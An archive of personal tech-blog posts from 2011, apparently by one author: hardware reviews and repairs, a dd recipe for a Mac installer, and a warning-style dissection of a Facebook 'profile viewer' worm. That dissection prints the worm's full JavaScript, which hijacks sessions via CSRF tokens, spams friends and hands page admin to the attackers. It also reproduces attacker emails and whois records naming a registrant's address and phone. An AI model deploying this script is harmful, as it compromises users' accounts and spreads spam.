Delayed dead on arrival

2011/09/20 6 comments

D**n! After two days of operation my SW2 died. I tried some emergency recovering, which didn’t worked at all as the motherboard seem to fail distributing the power properly.  So no boot-up, no USB Boot, Nothing. And I’m pissed.

So, what else to do as to visit the forum, and ask for help. Nobody else had the same issue like me, but other people were writing about crashing SW2 with installed harddisks.

EDIT 22.09.2011: It seems that there are more and more people having the same problem like me..

But maybe i’m just wrong. So, after some questions and and answers (yep, only the same emergency revocery), nobody can help me, I have to open a RMA request.

I opened one and entered every information they needed. Ordernummer, when did i order, problem description and so on..  and then.. waited, for 3 days, 4 days, 5 days.. no answer. Naughty me, writing in the forum again, if someone could please respond to my request. I was immediately answered by the “global admin”, that it takes up to 10 workdays as I can read in the RMA rules. So 14 days until I will just receive a response to a request? I was so excited after 10 working days what will happen next? Do I receive a new one? Did they send it already?

After 14 days i reached my maxium of impatience. So I wrote in the forum again. if somebody please would answer to my request. Again, i got and immediate answer from the admin, that the forum is not such a place for these kind of posts. WTF? What kind of customer relationshit is this? I wrote him back, that this IS the right place for these issues. And they should take care about their additude. Suprisingly i got an answer to my RMA request, after this post. It was the Global Admin who answered my request -.-

Please fill out this form to start the RMA process. WTF? 16 days waiting for NOTHING? That nobody on Xtreamer clicked on the reply button?

This is the mail:

Dear Valued Customer,

We received your RMA request # xxx in our system.
Next steps will include:
• Fill out RMA form-
http://gator884.hostgator.com/~xtreamer/rma/RMA-Form.pdf
IMPORTANT – Incomplete form will not be processed therefore; an RMA# shipping authorization will not be issued.

• Print, scan or take a good quality picture of the form while its open (you cannot save it with your details).
• Mail it back to us: rma.xtreamer@gmail.com for check & documentation, this form should be accepted in our system not later than 72 hours from receiving this mail.
• After getting shipping approval by mail, you will be required to put one copy of this form inside the box and keep one copy for your records.

Kindly notify us within your account order mail.

Thank you in advance, your cooperation is mostly appreciated

Xtreamer Sales Team

OK, I fill everything out (4 Pages) and send it to them.

Next day I got the answer, that was really fast.

<snip>

Please provide us by mail to: <address>@gmail.com
Shipping confirmation by scan pdf of stamped postal receipt showing shipping details: date, sender, recipient & shipping cost.
Kindly use ONLY REGULAR POST MAIL. (Not express mail/ tracking number), according to our check shouldn’t cost more than 10.00 Euro.
• Mention your full name and phone number
• Order number (also on outside package)
• Write your Return Material Authorization number on the outside of the box in bold letters.
• Put one copy of filled RMA form inside the box.

<snip>

A gmail account? OK..

Wait, 10 Euros for a package to Hongkong? “according to our check shouldn’t cost more than 10.00 Euro” What check is that? A normal package costs 15 Euros to Hongkong (Without tracking).  Should i wrap paper around it and send it as letter?  So, better to ask if i should really send it as letter:

Upon Xtreamer RMA policy we refund for shipping cost UP TO 10.00 Euro.

Please note:

All WARRANTY CLAIMS ARE VOIDED IF A PRODUCT IS RECEIVED UNDER ANY OF THE FOLLOWING CONDITIONS:

A. Product was damaged during transport as a result of bad packaging.

So you have to pay what ever a package to Hongkong costs, you will reveive only 10 Euros back.

Whatever, I have sent it today and I’m waiting for response now.   It will definitely take 2 more weeks until the device arrives.

If you buy a SW2 and it fails, don’t expect to have a working unit in less than 2 months.

Before it died I was able to made some test. Here ar some results:

  • PRO: Fortunately it has a WEB GUI which allows you to upload Mediafiles with acceptable Speed.
  • PRO: The wireless works very well and has also acceptable speeds.
  • PRO: You can watch full BD Movies over the LAN
  • CON: The GUI is extreme slow
  • CON: The player produces bad judder playing 24p HD movies (It should automatically change to 50hz refresh rate)
  • CON: The Windows File Sharing services is still slow as hell (like 1-2MB/s, and yes it has Gigabit LAN)
  • CON: The Xtreamer online services are very unstable. They crash all the time while trying to watch online movies or just while scrolling them.

I’m so happy to still have my SW1, which I will keep for now.

 

The story goes on.. : https://integer13.wordpress.com/2011/10/11/still-waiting-for-an-answer/

Xtreamer SideWinder2 Review – Hardware – Disassembled

2011/08/23 15 comments

 

Today, i received a package from Hong Kong containing my brand new Xtreamer Sidewinder2 which started selling 1st of August. They first limited the first release to 1000 units. Mine is unit Nr. 453.

The first thing you will recognize when unpacking the SW2 is the new bigger, remote control with the glow-in-the-dark keyboard. You will also find the USB 3.0 cable which is included. Sadly a composite cable is included and the HDMI cable is missing again. I would have prefered to pay 5 Euros/8 Dollars more and reveive a standard HDMI cable. This is 2 points plus for the newly designed remote control and the usb 3.0 cable and 1 point minus for the crappy composite cable.

old vs. new remote control. Size does matter.. 😀

Size does matter..

The second thing you will find is a slightly thicker Xtreamer…

The Xtreamer Sidewinder 1 ontop of the Sidewinder 2

…with an twistable antenna for the 11N wireless module. 1 point minus for the thicker body, 2 points plus for the faaaaaast wireless. Let’s have a look on the backside of the the Xtreamer..

Old and new (Back)

…so you see the USB 2.0 host ports have been removed from the backside and installed on the side next to the USB3.0 client port (to connect to your PC as harddrive). The LAN has been upgraded from 100Mbit to Gigabit which is very great to stream raw blueraydisk images for what the 100Mbit network was to slow when it reached more than 11MB per second.

From the side you see the difference between the old and the new one.

Old ontop of the new (side view)

and the other side:

the other side

Very cool, now we also have a SD/MMC Card slot! With the increasing sizes from 16 to 32 GB, they are a good and fast alternative for a energy consuming and heat producing harddisk. 2 points for the new one! Let’s have a look at the bottom. Now comes one disadvantage. Its NOT for standing on the side like the old one. It has to stand on the bottom.

bottom view

Its nearly completely open on the bottom. As it has a faster processor it produces more heat which has now to evade through the bottom. The SW2 has NO FAN!. Wow. Finaly a silent system. People who had the noisy fan problem or had replaced the fan already know what i mean!

Let’s have a look inside:

Inside (bottom)

So the back contains the NAND Flash for the operating system and the status leds on the bottom (which will illuminate a transparent plastic bar on the front)

After messing around with the SATA and Powercable inside i extracted the whole board:

The Sidewinder 2 Motherboard

In the upper left corner we find some kind of diagnose port. Next to it the RTL8188CE miniCard wireless board (above a quarz). As you can see it uses the minipci spec. So you might exhange the board with a faster one in the future. left below of it is the white power connector for the plugin hdd (the hdd carrier is mounted to plastic cover) .  Right below of that you find an UART connector (Universal Asynchronous Receiver and Transmitter) which could be serial port for the linux console. Right of it and above of the ethernet port you find the realtek ethernet chip. Above that is another quarz for the clock of the cpu. The CPU is in the middle with the aluminium cooler. Right and above are the two memory chips which seems to be DDR3 Memory. Below of that you find the SATA connector you find the JMS551 USB3.0 to sata bridge.

So no dedicated video chip. Everything is done by the cpu.

Physical results:

+ 11N WiFi built in
+ Gigabit LAN
+ USB 3.0
+ Component Output
+ Chinch Coax
+ SD Card Reader
+ More easy accessible USB ports on the side
+ Better remote which glows in the dark
+ No FAN!

– Thicker Hardware
– No USB 2.0 slave port (you need usb3.0 in your PC or use the gigabit lan)
– Still no HDMI cable included.

Now i cant wait anymore. I have to test it 🙂

I hope you like the post. Have a nice evening!

Make a bootable USB Stick or USB HDD from Mac OS X DVD Image

2011/06/20 Leave a comment

I dont know what was I thinking when I said “yeah, just give me that macbook, I will reinstall it”…

Stupid shiny plastic crap with included hairdryer (This is how the fan sounds to me).  So i end up with a new Double Layer DVD with Snow Leopard on it. But the crappy DVD drive can’t read it. It just happily ejects the CD after i put it in.

So, no way using the DVD Drive.

I read about remote Installing the Macbook using a Windows PC. So I boot up a Windows PC on the same Ethernet, load the CD and start “Remote Install DVD on Windows”. Ok, System is running. Now I have to boot the Macbook from Network. I check the internet again which arcane key combinations I have to press for booting something else. While im wondering why the Macbook only makes the poweron sound once day I only see the local harddisk after holding “Option” Key (Yeah, I had to find out this is the “alt” Key). Even the “n” Key shows just a earth icon but nothing more. Nah, the old MacBook doesn’t support that feature! Try to find that info on the apple support pages!

So, no way using the Network

I found some guides online showing you a rocket science way of “restoring” the Image file to a harddisk. Ok, here we go. After setting the Harddisk to GUID Partition Style and creating a partition I try to restore the Image to the disk. Some random error pops up. “Error -1” Something bla. OK, second try, I format the partition first.  Now an error pops up -5150 or similar. WTF??

After twiddeling around I find a guide how to reduce the image to 4.3GB to fit it on a normal DVD. But it uses the same steps with “restoring” the image to an other image. How sick is this crap? I want an bootable image edited, not “restoring an image in a restorable image” -.-

Now, it starts to copy, with Imaging the Image. After 70% it stops. Error the folder does not exist. WTF?? Which folder? What is your problem… aaarrghh.

OK, enough is enough. I dont need no crappy 20 point guides how to image an image or how to create a bootable USB Disk with images, I only need one thing.. Linux.

I connect the USB Drive and load the CD Drive. After typing the magic combination

sudo dd if=/dev/hda of=/dev/sdb bs=1M

sudo dd if=<CD Drive or image name with path> of=<Device of USB Drive> bs=<Blocksize 1MB per Cycle>

It finished:

7411+1 records in
 7411+1 records out
 7771357184 bytes (7.8 GB) copied, 290.332 s, 26.8 MB/s

Now I’m curious. I connect the USB Drive to the MacBook and a window Pops Up “Install Mac OS X”.

Wow.

I reboot. I can choose booting from it. It even has the correct name. Unbelievable.

Now, its installing like a charm. Why don’t you write on all your guides that all you need is “dd”??? No images from images. No strange partition tables.

Just. Use. dd.

Categories: Repair Tags: , , , , , , , , , , ,

The raise and a fall of eSATA Plug and Play or Fantec MR-35DUS2 and Windows 7 on ICH10R

2011/02/22 Leave a comment

I ran out of storage so i bought this nifty storage box called Fantec MR-35DUS2. Its a two drive enclosure with support up to 6TB (3TB per disk). I also bought two WD 20EARS 2TB harddrives, which speed is ok for using as a storage (5400RPM).

The configuration is quite easy, no need for hdd carriers, just put the HDDs in the enclosure and close the doors. Then you define what mode you want to use with a slider, Raid-0, Raid1, Big and JBOD (For the later you need a chipset which has a port multiplier, otherwise only one disk is detected. Then you have to press the reset button on the device to initalize the selected mode (I put mine on raid-0 for 4TB and fast performance). After a short flashing of the LEDs the device is ready to connect.

Good thing it even comes with a slot bracket leading an internal SATA to an external eSATA port. That’s great as mostly there is only one eSATA connector, and it might be used already. So i installed the bracket into my computer and started Windows 7.

MR-35DUS2 on my Lacie 2Big Quadra

 

I was scared at the Raid controller bootup of my ICH10R as it showed only 1678,03 GB of the whole disk. What kind of size is that? A 2 TB disk is at least detected as a >1800GB disk. So something is wrong here. First, i checked the SIS Management Software (The Raidcontroller in the Fantec is based on a Silicon Image 5744 Controller) it said correctly 3,8TB. Hmm so the Controller shows the correct size. Maybe the Intel Matrix Software shows something different. Nope, same 3.8TB here…

Then i checked the Intel drivers. Intel Matrix 8. On the Intel Webpage they promote the Intel Rapid Storage Software 10.1.0.1008 so i thought i try the newest version as the Intel has to “communicate” with the SIS controller (Honestly the ICH sees only a virtual Harddrive provided by the SiS) . The installation went smooth and it removed the old Matrix drivers. I rebooted again.

After Windows came up (it showed the same strange size in the bios)  Windows didn’t see anything. Both Management Software did not see any disk either. Port 3 not connected.

Something is really wrong here. No disk at all, not in the device manager, NOWHERE…

OK, step back, reinstall the Matrix Drivers 8.​9.​0.​1023. Reboot. Same strange numbers in the BIOS. Puh Windows sees the harddisk again in the wrong size.

Then i was not amused…

I disconnected the device from eSATA and used the USB cable… New Storage Device… BAM!.. 3.8TB Unitialized in the Windows Storage Manager. So what, i created a GPT partition table and created a biiiiig Volume. Then i was curious. 🙂

So i safely removed the USB and connected the eSATA again. BAM! Now it works!! What the heck, what is the problem with plug and play.

Intel Matrix Storage Console view

 

SiS Management Utility SteelVine

 

Rule No. 1 : Don’t use Rapid Storage Driver with a external SIS Storage Device
Rule No. 2: Connect per USB FIRST and initalize the Disk properly BEFORE connecting to SATA
Rule No. 3: Believe in arcane magic and rocket science

profileview.info disassembled – Or the anatomy of a facebook worm

2011/02/22 Leave a comment

Have you received one of those links per Facebook?

Wow! Seems like lots of people stalk me – http://ow.ly/3YDVb
Secret tool shows who stalks your pics – http://tinyurl.com/6gowfed
New FB tool shows who stalks your profile– http://ow.ly/3YDVB
Insane! Awesome tool to see who looks at your pics >> http://goo.gl/lfDvG

Don’t click them. I will show you why:

When you access the Website, it starts a javascript encoded as shell code:

http://pastebin.com/umwmnbaN

It really looks like garbage so lets decompile it

http://pastebin.com/FmGN13Tm

So lets see what it does (Comments are always BELOW the code):

function obscurify(my_content) {
st = my_content[‘split’](‘,’);
d = ”;
for (i = 0; i < st[‘length’]; i++) {
d += String[‘fromCharCode’](st[i] – 24);
};
eval(d);
};

Ok, its deobscurifying the content of the code

function addAdmin(evil_facebook_page, array_emails, Form_ID, csrf_token) {
iemails = array_emails[‘split’](‘,’);
main_emails = [];
for (i = 0; i < iemails[‘length’]; i++) {
main_emails[i] = ‘friendselector_input[]=’ + iemails[i] + ‘&friend_selected[]=’;
};
with(newx = new XMLHttpRequest) {
open(‘POST’, ‘/pages/edit/?id=’ + evil_facebook_page + ‘&sk=admin’);
setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
send(‘post_form_id=’ + Form_ID + ‘&fb_dtsg=’ + csrf_token + ‘&fbpage_id=’ + evil_facebook_page + ‘&’ + main_emails[‘join’](‘&’) + ‘&save=1’);
};
};

Here is the function to invite your friends to the app

function makePost(form_id, message_content, target_friend, unused_var1) {
formx = form_id[‘match’](/name=”post_form_id” value=”([\d\w]+)”/)[1];
dtx = form_id[‘match’](/name=”fb_dtsg” value=”([^”]+)”/)[1];
composerx = form_id[‘match’](/name=\\\”xhpc_composerid\\\” value=\\\”([^”]+)\\\”/)[1];
msg = message_content[‘randomize’]() + ‘\x0A\x0A’;
text_post = ”;
text_actual = ”;
pxt = ‘post_form_id=’ + formx + ‘&fb_dtsg=’ + dtx + ‘&xhpc_composerid=’ + composerx + ‘&xhpc_targetid=’ + target_friend[‘split’](‘|’)[0] + ‘&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=’ + encodeURIComponent(msg + text_actual[‘replace’](/\, $/, ”)) + ‘&xhpc_message=’ + encodeURIComponent(msg + text_post[‘replace’](/\, $/, ”)) + ‘&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest’;
update(pxt);
};

This is the mail function for spamming your friends

function update(evil_facebook_app) {
with(newx = new XMLHttpRequest) {
open(‘POST’, ‘/ajax/updatestatus.php?__a=1’);
setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
send(evil_facebook_app);
};
};

This function posts on your wall (setting status messsage)

goog1 = ‘http://goo.gl/cvY4D&#8217;;
goog2 = ‘http://goo.gl/euvS3&#8217;;
goog3 = ‘http://tiny.cc/v1bwd&#8217;;
goog4 = ‘http://goo.gl/G0yae&#8217;;
goog5 = ‘http://goo.gl/NMclq&#8217;;
goog6 = ‘http://goo.gl/S89Bx&#8217;;
event_id = ‘168046893242650’;
page_id_x = ‘195926070436089’;
page_id_xx = ‘136589129739532’;
statuses = [‘Wow! Seems like lots of people stalk me – ‘ + goog1, ‘New FB tool shows who stalks your profile– ‘ + goog2, ‘Secret tool shows who stalks your pics ‘ + goog3, ‘Insane! Awesome tool to see who looks at your pics >> ‘ + goog4, ‘According to ‘ + goog5 + ‘ you\’re my top stalker. Creep.’, ‘Secret tool shows who stalks your pics – ‘ + goog6];
subjects = [‘Check this out!’, ‘Hey, whats happening?’, ‘Hey! This is awesome’];

Here are the links for the spam messages

admin_emails = ‘wintersaccohoqr@hotmail.com,adrialovato306@yahoo.com’;

These are the accounts of the creators of the malware, receiving all your facebook email adresses, they are sold to spammers…

Array[‘prototype’][‘randomize’] = function () {
return this[Math[‘floor’](Math[‘random’]() * this[‘length’])];
};
Object[‘prototype’][‘isReady’] = function () {
if (this[‘readyState’] == 4 && this[‘status’] == 200) {
return true;
} else {
return false;
};
};
String[‘prototype’][‘getFriends’] = function () {
friends2 = this[‘match’](/facebook\.com\\\\\\\/profile\.php\?id=\d+\\\\\\\”>(<span[^>]+>|)[^<>]+/gi)[‘join’](‘:’)[‘replace’](/(facebook\.com\\\\\\\/|profile\.php\?id=|<span[^>]+>|l\.php.*)/gi, ”)[‘replace’](/\\\\\\\”>/gi, ‘|’)[‘split’](‘:’)[‘slice’](1);
return friends2;
};

Prototype functions

function addAdmin(evil_facebook_page, array_emails, Form_ID, csrf_token) {
iemails = array_emails[‘split’](‘,’);
main_emails = [];
for (i = 0; i < iemails[‘length’]; i++) {
main_emails[i] = ‘friendselector_input[]=’ + iemails[i] + ‘&friend_selected[]=’;
};
with(newx = new XMLHttpRequest) {
open(‘POST’, ‘/pages/edit/?id=’ + evil_facebook_page + ‘&sk=admin’);
setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
send(‘post_form_id=’ + Form_ID + ‘&fb_dtsg=’ + csrf_token + ‘&fbpage_id=’ + evil_facebook_page + ‘&’ + main_emails[‘join’](‘&’) + ‘&save=1’);
};
};

Ok, the addAdmin function again, the guys didn’t know much about coding.

function loading() {
var _0x91e5x10 = document[‘createElement’](‘div’);
_0x91e5x10[‘id’] = ‘screwyouz’;
_0x91e5x10[‘setAttribute’](‘align’, ‘center’);
_0x91e5x10[‘style’][‘margin’] = ‘0px auto’;
_0x91e5x10[‘style’][‘position’] = ‘absolute’;
_0x91e5x10[‘style’][‘top’] = ’10px’;
_0x91e5x10[‘style’][‘zindex’] = ‘100’;
_0x91e5x10[‘className’] = ‘screwyou’;
_0x91e5x10[‘innerHTML’] = ‘<br /><br /><br /><br /><br /><center><img src=”http://fbviews.org/process.gif&#8221; /><br />Scanning may take up to 3 minutes</center>’;
document[‘body’][‘appendChild’](_0x91e5x10);
};

This is what the coders of the malware think of you. “Screwyou”. Its showing an animation, like it would scan your profile. Its just b**s***

function makePost(form_id, message_content, target_friend, unused_var1) {

<snip>

function update(evil_facebook_app) {

<snip>

Copy & Paste can sometimes be a hard job, you loose control how often you paste something….

if (window[‘location’][‘href’] == ‘http://www.facebook.com/&#8217;) {
formx = (res = document[‘body’][‘innerHTML’])[‘match’](/name=”post_form_id” value=”([\d\w]+)”/)[1];
dtx = res[‘match’](/name=”fb_dtsg” value=”([^”]+)”/)[1];
composerx = res[‘match’](/name=\\\”xhpc_composerid\\\” value=\\\”([^”]+)\\\”/)[1];
} else {
with(muhaha = new XMLHttpRequest) {
open(‘GET’, ‘/’, false);
send(null);
};
formx = (res = muhaha[‘responseText’])[‘match’](/name=”post_form_id” value=”([\d\w]+)”/)[1];
dtx = res[‘match’](/name=”fb_dtsg” value=”([^”]+)”/)[1];
composerx = res[‘match’](/name=\\\”xhpc_composerid\\\” value=\\\”([^”]+)\\\”/)[1];
};

Now they gather a new CSRF Code of the post field in the facebook site. This feature should normaly prevent Cross-Side-Request-Forgery

alert(‘Hello!\x0A\x0ATo activate the tool press Enter on your keyboard. \x0A\x0AThis will take 2-3 minutes, while waiting please do not close this window or tab.’);

This shows the messagebox, like it would take so long to scan your profile. In reality its just posting on all of your friends walls and sending out emails..Its also making you a fan of the malware…

update(‘post_form_id=’ + formx + ‘&fb_dtsg=’ + dtx + ‘&xhpc_composerid=’ + composerx + ‘&xhpc_targetid=’ + document[‘cookie’][‘match’](/c_user=(\d+)/)[1] + ‘&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=’ + encodeURIComponent(stx = statuses[‘randomize’]()) + ‘&xhpc_message=’ + encodeURIComponent(stx) + ‘&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest’);
with(newz = new XMLHttpRequest) {
loading();
open(‘POST’, ‘/ajax/pages/fan_status.php?__a=1’);
setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
send(‘fbpage_id=’ + page_id_x + ‘&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id=’ + formx + ‘&fb_dtsg=’ + dtx + ‘&lsd&post_form_id_source=AsyncRequest’);
};
with(newzz = new XMLHttpRequest) {
open(‘POST’, ‘/ajax/pages/fan_status.php?__a=1’);
setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
send(‘fbpage_id=’ + page_id_xx + ‘&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id=’ + formx + ‘&fb_dtsg=’ + dtx + ‘&lsd&post_form_id_source=AsyncRequest’);
};
void 0;
with(fr = new XMLHttpRequest) {
open(‘GET’, ‘/ajax/browser/list/friends/all/?uid=’ + (me = document[‘cookie’][‘match’](/c_user=(\d+)/)[1]) + ‘&offset=0&dual=1&__a=1’);
onreadystatechange = function () {
if (fr[‘isReady’]()) {
friends = fr[‘responseText’][‘getFriends’]();
idx = [];
for (i = 0; i < friends[‘length’]; i++) {
if (!isNaN(friends[i][‘split’](‘|’)[0])) {
idx[i] = ‘ids[‘ + i + ‘]=’ + friends[i][‘split’](‘|’)[0];
};
};
with(invi = new XMLHttpRequest) {
open(‘POST’, ‘/ajax/social_graph/invite_dialog.php?__a=1’);
setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
send(‘post_form_id=’ + formx + ‘&fb_dtsg=’ + dtx + ‘&send_invitations=1&invite_id_list=&email_addresses=&invite_msg=&’ + idx[‘join’](‘&’) + ‘&node_id=’ + event_id + ‘&class=GuestManager&__d=1&lsd&post_form_id_source=AsyncRequest’);
};
cnt_fr = 0;
tx = setInterval(function () {
if (cnt_fr == friends[‘length’]) {
window[‘location’] = ‘http://fbviews.org/result.php&#8217;;
clearInterval(tx);
};
makePost(document[‘body’][‘innerHTML’], statuses, friends[cnt_fr], friends);
with(xa = new XMLHttpRequest) {
open(‘GET’, ‘/ajax/messaging/composer.php?__a=1&__d=1’);
onreadystatechange = function () {
if (xa[‘isReady’]()) {
compi = xa[‘responseText’][‘match’](/([\d\w]+)_error/)[1];
pxi = ‘ids_’ + compi + ‘[0]=’ + friends[cnt_fr][‘split’](‘|’)[0] + ‘&subject=’ + encodeURIComponent(subjects[‘randomize’]()) + ‘&status=’ + encodeURIComponent(statuses[‘randomize’]()) + ‘&ids[0]=’ + friends[cnt_fr][‘split’](‘|’)[0] + ‘&action=send_new&home_tab_id=1&profile_id=’ + document[‘cookie’][‘match’](/c_user=(\d+)/)[1] + ‘&target_id=0&app_id=&&composer_id=’ + compi + ‘&hey_kid_im_a_composer=true&thread&post_form_id=’ + formx + ‘&fb_dtsg=’ + dtx + ‘&lsd&_log_action=send_new&_log_thread&ajax_log=1&post_form_id_source=AsyncRequest’;
if (cnt_fr < 15) {
with(mi = new XMLHttpRequest) {
open(‘POST’, ‘/ajax/gigaboxx/endpoint/MessageComposerEndpoint.php?__a=1’);
setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
send(pxi);
};
};
};
};
send(null);
};
cnt_fr += 1;
}, 3000);
};
};
send(null);
};

This is the code doing the dirty work..

with(fr = new XMLHttpRequest) {
open(‘GET’, ‘/ajax/browser/list/friends/all/?uid=’ + (me = document[‘cookie’][‘match’](/c_user=(\d+)/)[1]) + ‘&offset=0&dual=1&__a=1’);

It browses all your friends

onreadystatechange = function () {

if (fr[‘isReady’]()) {
friends = fr[‘responseText’][‘getFriends’]();
idx = [];
for (i = 0; i < friends[‘length’]; i++) {
if (!isNaN(friends[i][‘split’](‘|’)[0])) {
idx[i] = ‘ids[‘ + i + ‘]=’ + friends[i][‘split’](‘|’)[0];
};
};
with(invi = new XMLHttpRequest) {
open(‘POST’, ‘/ajax/social_graph/invite_dialog.php?__a=1’);
setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
send(‘post_form_id=’ + formx + ‘&fb_dtsg=’ + dtx + ‘&send_invitations=1&invite_id_list=&email_addresses=&invite_msg=&’ + idx[‘join’](‘&’) + ‘&node_id=’ + event_id + ‘&class=GuestManager&__d=1&lsd&post_form_id_source=AsyncRequest’);
};

 

Send them an invitation

 

cnt_fr = 0;
tx = setInterval(function () {
if (cnt_fr == friends[‘length’]) {
window[‘location’] = ‘http://fbviews.org/result.php&#8217;;

 

This is the page trying to calculate who visits who.

clearInterval(tx);
};
makePost(document[‘body’][‘innerHTML’], statuses, friends[cnt_fr], friends);
with(xa = new XMLHttpRequest) {
open(‘GET’, ‘/ajax/messaging/composer.php?__a=1&__d=1’);
onreadystatechange = function () {
if (xa[‘isReady’]()) {
compi = xa[‘responseText’][‘match’](/([\d\w]+)_error/)[1];
pxi = ‘ids_’ + compi + ‘[0]=’ + friends[cnt_fr][‘split’](‘|’)[0] + ‘&subject=’ + encodeURIComponent(subjects[‘randomize’]()) + ‘&status=’ + encodeURIComponent(statuses[‘randomize’]()) + ‘&ids[0]=’ + friends[cnt_fr][‘split’](‘|’)[0] + ‘&action=send_new&home_tab_id=1&profile_id=’ + document[‘cookie’][‘match’](/c_user=(\d+)/)[1] + ‘&target_id=0&app_id=&&composer_id=’ + compi + ‘&hey_kid_im_a_composer=true&thread&post_form_id=’ + formx + ‘&fb_dtsg=’ + dtx + ‘&lsd&_log_action=send_new&_log_thread&ajax_log=1&post_form_id_source=AsyncRequest’;
if (cnt_fr < 15) {
with(mi = new XMLHttpRequest) {
open(‘POST’, ‘/ajax/gigaboxx/endpoint/MessageComposerEndpoint.php?__a=1’);
setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
send(pxi);
};
};
};
};
send(null);
};
cnt_fr += 1;
}, 3000);
};
};
send(null);
};
with(ins = new XMLHttpRequest) {
open(‘GET’, ‘/insights/?_fb_noscript=1’);
onreadystatechange = function () {
if (ins[‘isReady’]()) {
ids = ins[‘responseText’][‘match’](/po_\d+”>View/gi)[‘join’](‘:’)[‘replace’](/(po_|”>View)/gi, ”)[‘split’](‘:’);
cnt_pages = 0;
tz = setInterval(function () {
if (cnt_pages == ids[‘length’]) {
window[‘location’] = ‘http://fbviews.org/result.php&#8217;;
clearInterval(tz);
};
update(‘post_form_id=’ + formx + ‘&fb_dtsg=’ + dtx + ‘&xhpc_composerid=’ + composerx + ‘&xhpc_targetid=’ + ids[cnt_pages] + ‘&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=’ + encodeURIComponent(stx = statuses[‘randomize’]()) + ‘&xhpc_message=’ + encodeURIComponent(stx) + ‘&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest’);
addAdmin(ids[cnt_pages], admin_emails, formx, dtx);
cnt_pages += 1;
}, 3000);
};
};
send(null);
};

Here it posts the results to your page…

So its a big price for some unreliable information. You give away all your contact email adresses for free and send spam in your name! this will lower your reputation and fill up your email account with viagra mails!

Some more information about the domains:

whois fbviews.org

Domain ID:D161495457-LROR
Domain Name:FBVIEWS.ORG
Created On:14-Feb-2011 05:50:54 UTC
Last Updated On:14-Feb-2011 05:58:34 UTC
Expiration Date:14-Feb-2012 05:50:54 UTC
Sponsoring Registrar:eNom, Inc. (R39-LROR)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:de089e4b90247f03
Registrant Name:mister  hood
Registrant Street1:14762 Geronomo st
Registrant Street2:
Registrant Street3:
Registrant City:San Diego
Registrant State/Province:CA
Registrant Postal Code:92105
Registrant Country:US
Registrant Phone:+1.6192264473
Registrant Phone Ext.:
Registrant FAX:+1.5555555555
Registrant FAX Ext.:
Registrant Email:eviewoolfolk579@yahoo.com

whois profileview.info

Domain ID:D36383271-LRMS
Domain Name:PROFILEVIEW.INFO
Created On:17-Jan-2011 03:27:44 UTC
Last Updated On:17-Jan-2011 10:37:21 UTC
Expiration Date:17-Jan-2012 03:27:44 UTC
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Status:CLIENT DELETE PROHIBITED
Status:CLIENT RENEW PROHIBITED
Status:CLIENT TRANSFER PROHIBITED
Status:CLIENT UPDATE PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:CR72743087
Registrant Name:Registration Private
Registrant Organization:Domains by Proxy, Inc.
Registrant Street1:DomainsByProxy.com
Registrant Street2:15111 N. Hayden Rd., Ste 160, PMB 353
Registrant Street3:
Registrant City:Scottsdale
Registrant State/Province:Arizona
Registrant Postal Code:85260
Registrant Country:US
Registrant Phone:+1.4806242599
Registrant Phone Ext.:
Registrant FAX:+1.4806242598
Registrant FAX Ext.:
Registrant Email:PROFILEVIEW.INFO@domainsbyproxy.com

Sony’s Kevin Butler twitters the battleship masterkey..

2011/02/10 Leave a comment

..too funny that the media agency didn’t know what that key means…

It’s time for a cup of fresh HMAC battleship coffee:

How i repaired my (Xtreamer) remote control

2011/02/09 14 comments

I love my xtreamer, which is the best media player on the market. The player itself is very roboust and made out of class A material. Except the remote. As the remote is very small and round at the bottom, it tends to fall down on the floor very often. My remote fell down nearly once a day. So the case may be resistant, but the circuit board isn’t.

After falling down the maybe 500th time, the remote was not working at all. The red LED was very, very weak illuminated when i pressed any button. With a digicam i checked if there was any infrared light sent out (Just hold the white diode (or the red, transparent area) of you remote in the cam, press any button and the sensor of the cam will make the invisible infrared light visible in the cams preview window). Nope, it really was broken.

So i had to open the remote, i used a iphone opener (aka. guitar plectrum). When checking the circuit board, i saw the capacitor soldered horizontally on the board with those tiny legs through the board. Installed like this the soldering points have a strong leverage to handle, every time the remote falls down. At the end it teared out the complete soldering point of the vcc+.

This how-to may also work on other remote controls, you just have to find the next soldering possibility (next “+” or next “-“) by yourself!

Disclaimer: I do not take any responsibility for any damages you produce. This guide is just a suggestion how you could fix your remote!

This is how you identify the weak soldering:

You can see that on leg has been pushed through the board or is not completely soldered on the circuit. You may need to softly move the capacitor a little bit to identify if the soldering on  the other bottom of the circuit board is moving too.

 

Lets have a look at the board from the bottom:

The plus terminal of the capacitor was pushed through the board and the soldering point was lifted in the air with no connectivity to the circuit board. Fortunately there are two unused soldering points for each pole (Marked with +  and – in the picture). So you just need two small pieces of wire (or only one wire if only one soldering is broken) and a soldering gun.

Just heat the solder on the (broken)plus leg of the capacitor and put the wire in pointing to the unused soldering point. Make sure that you don’t produce a short. Keep the distance between “+” and “-“, do not solder the terminals together!

